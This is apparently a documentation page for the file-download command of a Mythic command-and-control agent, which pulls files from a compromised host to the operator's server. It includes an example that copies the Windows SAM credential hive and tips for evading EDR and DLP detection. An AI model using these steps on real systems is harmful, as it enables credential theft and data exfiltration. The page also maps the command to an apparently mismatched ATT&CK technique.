download - Download File from Target

Download a file from the target system to the Mythic server.

Description

The download command downloads a file from the target system to the Mythic server. Files are transferred in 512KB chunks for efficient transmission. Supports files up to 2GB in size.

Syntax

download <file_path>

Parameters

file_path (required): Path to the file to download. Supports both absolute and relative paths.

Examples

download C:\Users\Administrator\Desktop\important.txt
download C:\Windows\System32\config\sam
download report.pdf

Features

Supports files up to 2GB in size
Files are transferred in 512KB chunks for efficient transmission
Supports both absolute and relative paths (relative paths are resolved using the current working directory)
Compatible with Mythic File Browser for interactive file selection
Large files or sensitive files may trigger detection by EDR/XDR solutions and data loss prevention (DLP) systems

Output

[download] Starting download: C:\Users\important.txt (1024000 bytes)
[download] Chunk 1/2 downloaded: 512000 bytes
[download] Chunk 2/2 downloaded: 512000 bytes
[download] Download complete: C:\Users\important.txt

OPSEC Considerations

File reads are logged by EDR/XDR solutions
Large downloads generate network traffic and may trigger alerts
Downloading sensitive files (SAM, config files) may trigger DLP systems
Consider using smaller chunk sizes or splitting large files

File Downloads Support

Command Category: File System
Requires Admin: No
MITRE ATT&CK: T1105 - Ingress Tool Transfer

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